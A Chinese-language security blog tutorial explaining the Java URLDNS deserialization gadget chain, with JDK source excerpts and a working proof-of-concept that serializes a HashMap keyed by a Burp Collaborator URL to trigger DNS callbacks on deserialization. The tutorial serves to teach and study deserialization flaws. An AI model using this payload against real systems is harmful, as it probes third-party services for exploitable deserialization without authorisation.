大数跨境
0
0

java反序列化之URLDNS

java反序列化之URLDNS 卓识网安
2022-10-30
1
导读:卓识网安

java反序列化
URLDNS


网络安全小知识



PART 1
URLDNS


思路:

HashMap#readObject—>HashMap#putVal—>HashMap#hash—>key.hashcode

URL#hashCode—>URLStreamHandler#hashcode—>getHostAddress()

给HashMap的key赋值为URL类型即可完成利用链


卓识网安


PART 2
URL&HashMap


URL








URL类中的常见方法有:URL.hashCode


// URL#hashCode    
    public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }

Java

变量hashCode的初始化为-1,在不等于-1时,调用了handler的hashCode,

// URLStreamHandler#hashCode
protected int hashCode(URL u) {
        int h = 0;

        // Generate the protocol part.
        String protocol = u.getProtocol();
        if (protocol != null)
            h += protocol.hashCode();

        // Generate the host part.
        InetAddress addr = getHostAddress(u);
        if (addr != null) {
            h += addr.hashCode();
        } else {
            String host = u.getHost();
            if (host != null)
                h += host.toLowerCase().hashCode();
        }

        // Generate the file part.
        String file = u.getFile();
        if (file != null)
            h += file.hashCode();

        // Generate the port part.
        if (u.getPort() == -1)
            h += getDefaultPort();
        else
            h += u.getPort();

        // Generate the ref part.
        String ref = u.getRef();
        if (ref != null)
            h += ref.hashCode();

        return h;
    }

Java

调用了getHostAddress()方法,根据域名获取地址,即发起DNS请求。


HashMap








HashMap是Map的实现类,且实现了Serializable接口

在考虑反序列化时,HashMap实现的条件:

1、实现了Serializable接口,可进行序列化和反序列化

2、参数类型宽泛,可传递任意值进去。

3、JDK自带的类

4、HashMap重写了自己的readObject方法

综上,HashMap是一个完美的反序列化入口类。

// HashMap#readObject    
    private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
        ......
        if (mappings < 0)
            throw new InvalidObjectException("Illegal mappings count: " +
                                             mappings);
        else if (mappings > 0) { // (if zero, use defaults)
            ......
            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
        }
    }

Java

readObject中在putVal方法中调用了hash方法。

/ HashMap#hash
static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

Java

hash方法中又调用了hashCode方法。


结论








根据以上的信息,可以将两个类整合一条利用链进行利用。

创建HashMap并给key赋值一个URL,那么就会执行DNS请求。

卓识网安


PART 3
POC构造


public class URLDNS {
    public static void main(String[] args) throws IOException {
        HashMap<URL,Integer> hashMap = new HashMap<>();
        hashMap.put(new URL("http://075atow93mvbu1zytck2p1uw5nbdz2.burpcollaborator.net"),1);
        serialization(hashMap);
    }
    public static void serialization(Object obj)throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

Java

过程:

1、创建一个HashMap对象

2、利用BurpSuite生成一个URL,用来捕获DNS请求

3、将URL赋值给HashMap的key

4、进行序列化

尚未进行反序列化,就上述代码执行即可获得DNS请求。


调试:

跟入HashMap的put方法

// HashMap#put
public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
    }

Java

HashMap的put方法中就调用了hash。

// HashMap#hash    
    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

Java

因为key中保存的是URL,所以会出发利用链。

卓识网安


PART 4
综述


综上,得出结论:URL.hashCode会判断参数hashCode是否为-1,参数hashCode初始化为-1,若hashCode不等于-1,则返回hashCode的值,若等于-1,则调用handler.hashCode触发DNS请求。

解决:为了在HashMap的put过程中不执行利用链,所以需要在put之前将URL对象的hashCode修改为非-1的值,然后在put之后,将hashCode的值改回-1.

  HashMap<URL,Integer> hashMap = new HashMap<>();
        URL url = new URL("http://ajxsfov0sjy74ezxzpgmd778nztuhj.burpcollaborator.net");

        Class c = url.getClass();
        Field fieldHashCode = c.getDeclaredField("hashCode");
        fieldHashCode.setAccessible(true);
        fieldHashCode.set(url,1234);
        hashMap.put(url,1);
        fieldHashCode.set(url,-1);
        serialization(hashMap);
        unserialize("ser.bin");

Java


共筑网络安全







【声明】内容源于网络
0
0
卓识网安
北京卓识网安技术股份有限公司(原北京华电卓识信息安全测评技术中心有限公司)是一家致力于能源(电力)行业信息安全测评服务的独立第三方专业测评机构。
内容 69
粉丝 0
卓识网安 北京卓识网安技术股份有限公司(原北京华电卓识信息安全测评技术中心有限公司)是一家致力于能源(电力)行业信息安全测评服务的独立第三方专业测评机构。
总阅读31
粉丝0
内容69